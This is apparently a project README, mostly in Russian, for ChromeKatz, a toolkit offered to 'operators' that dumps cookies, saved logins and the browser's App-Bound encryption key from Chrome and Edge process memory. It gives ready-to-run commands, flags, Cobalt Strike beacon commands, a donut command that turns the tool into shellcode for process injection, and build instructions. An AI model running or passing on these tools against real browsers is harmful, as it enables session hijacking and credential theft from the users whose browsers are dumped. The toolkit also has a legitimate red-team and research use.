
Дамп файлов cookie и учётных данных непосредственно из памяти процессов Chrome/Edge
ChromeKatz — это решение для извлечения конфиденциальной информации из памяти браузеров на основе Chromium. На данный момент ChromeKatz состоит из трёх проектов:
У CookieKatz есть exe, Beacon Object File и парсер минидампов. А у ElevationKatz — исполняемый файл и Beacon Object File.
ElevationKatz теперь умеет извлекать из памяти браузера базы данных cookie-файлов и учётных данных и расшифровывать их для вас.
CookieKatz был полностью переработан и теперь использует гораздо более надёжный метод поиска cookie-файлов! Новый метод поддерживает и более старые версии браузеров. Теперь в CookieKatz появился новый флаг /inject для обхода App-Bound Encryption в соответствующих браузерах!
Мне нужен кофе, и моим котам тоже!
CookieKatz — это проект, который позволяет операторам извлекать cookie-файлы из Chrome, Edge или Msedgewebview2 напрямую из памяти процесса. Браузеры на основе Chromium загружают все свои cookie-файлы из файла базы данных cookie на диске при запуске.
Преимущества такого подхода*:
Эти утверждения по-прежнему верны для некоторых браузеров/приложений. Для последних версий Chrome потребуется внедрение в процесс. ... Или используйте ElevationKatz
32-битные установки браузеров не поддерживаются, и 32-битные сборки CookieKatz также не поддерживаются.
В настоящее время извлекаются только обычные cookie-файлы. Chromium хранит разделённые cookie-файлы в другом месте, и в настоящее время они не включены в дамп.
Это решение состоит из трёх проектов: CookieKatz — PE-исполняемый файл, CookieKatz-BOF — версия в виде Beacon Object File и CookieKatzMinidump — парсер минидампов.
ПРИМЕЧАНИЕ! При выборе PID для целевого процесса используйте команды /list или cookie-katz-find соответственно, чтобы выбрать правильный подпроцесс!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz позволяет операторам извлекать ключ шифрования профиля браузера из памяти, чтобы получить доступ к конфиденциальной информации пользователя. Это работает путём запуска нового процесса браузера в приостановленном состоянии, установки точек останова и извлечения ключа, как только процесс браузера получает его от службы повышения привилегий.
Преимущества такого подхода:
ElevationKatz запускает новый процесс браузера в приостановленном состоянии и подключает к нему отладчик. Затем он сканирует dll браузера, чтобы найти инструкцию, где браузер возвращается из вызова os_crypt::DecryptAppBoundString, и устанавливает точку останова сразу после неё. Как только точка останова срабатывает, инструмент извлекает ключ шифрования из памяти.
Существует два типа точек останова, которые оператор может выбрать: программные (Software) и аппаратные (Hardware) точки останова.
Кроме того, для аппаратных точек останова поддерживаются два способа перечисления потоков на выбор: NtGetNextThread и CreateToolhelp32Snapshot. Программным точкам останова перечисление потоков не требуется, поэтому флаг /tl32 на них не влияет.
Новый параметр config может использоваться для автоматического расшифровывания баз данных профиля. Для этого используется техника IHack4Falafel по разбору баз данных Cookie и Login Profile из памяти браузера, что позволяет избежать прямого обращения к файлам.
Примечание: дамп работает только с аппаратными точками останова, так как мне не удалось выяснить, как корректно очищать программные точки останова и перематывать RIP, чтобы избежать падения процесса.
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
Я отправил отчёт в проект Chromium об ошибке, которую изначально эксплуатировал CredentialKatz, и они пометили её как «Won't fix» и заявили, что им всё равно, если учётные данные остаются в памяти.
Внезапно они исправили ошибку именно так, как я предлагал, после публикации инструмента :3 https://issues.chromium.org/issues/352085708
Загрузите последнюю релизную сборку BOF-файлов ChromeKatz здесь. ZIP-файл включает скомпилированные BOF-файлы и CNA-скрипт для их запуска.
Вы можете собрать оба проекта в Visual Studio с конфигурацией Release или Debug и платформой x64.
BOF-версия разработана с использованием шаблона Visual Studio от Cobalt Strike bof-vs. Это означает, что конфигурация Debug для *-BOF создаст exe вместо COFF-файла. Подробнее об использовании шаблона Visual Studio можно прочитать здесь.
Вы можете скомпилировать свой собственный BOF с помощью nmake в x64 Native Tools Command Prompt для VS 2022:
nmake all